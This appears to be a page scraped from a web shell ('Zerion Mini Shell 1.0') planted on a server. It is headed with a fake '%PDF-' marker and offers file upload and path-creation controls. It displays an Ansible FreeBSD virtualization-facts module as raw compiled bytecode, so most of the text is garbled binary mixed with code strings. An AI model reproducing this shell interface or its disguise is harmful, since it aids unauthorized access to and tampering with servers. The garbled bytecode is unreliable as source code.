%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/facts/virtual/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/virtual/__pycache__/freebsd.cpython-39.pyc

a

�)g��@sbddlmZmZmZeZddlZddlmZm	Z	ddl
mZGdd�dee�ZGdd�de	�Z
dS)	�)�absolute_import�division�print_functionN)�Virtual�VirtualCollector)�VirtualSysctlDetectionMixinc@seZdZdZdZdd�ZdS)�FreeBSDVirtualzy
    This is a FreeBSD-specific subclass of Virtual.  It defines
    - virtualization_type
    - virtualization_role
    �FreeBSDc	Cs,i}t�}t�}d|d<d|d<tj�d�rF|�d�d|d<d|d<|�d�}|�|d�|�|d	�|�d
�}|�|d�|�|d	�|�d�}|�|d�|�|d	�|ddkr�|p�|p�|}|�|�|�d�}|�|d�|�|d	�|ddk�r|�|�||d<||d	<|S)
N�Zvirtualization_typeZvirtualization_rolez/dev/xen/xenstoreZxenZguestz
kern.vm_guestZvirtualization_tech_guestZvirtualization_tech_hostzhw.hv_vendorzsecurity.jail.jailedzhw.model)�set�os�path�exists�addZdetect_virt_product�updateZdetect_virt_vendor)	�selfZ
virtual_factsZ	host_techZ
guest_techZ
kern_vm_guestZhw_hv_vendorZsec_jail_jailedZsysctlZvirtual_vendor_facts�r�N/usr/lib/python3.9/site-packages/ansible/module_utils/facts/virtual/freebsd.py�get_virtual_facts!s:






z FreeBSDVirtual.get_virtual_factsN)�__name__�
__module__�__qualname__�__doc__�platformrrrrrrsrc@seZdZeZdZdS)�FreeBSDVirtualCollectorr	N)rrrrZ_fact_classZ	_platformrrrrrMsr)Z
__future__rrr�typeZ
__metaclass__rZ'ansible.module_utils.facts.virtual.baserrZ)ansible.module_utils.facts.virtual.sysctlrrrrrrr�<module>s4

Zerion Mini Shell 1.0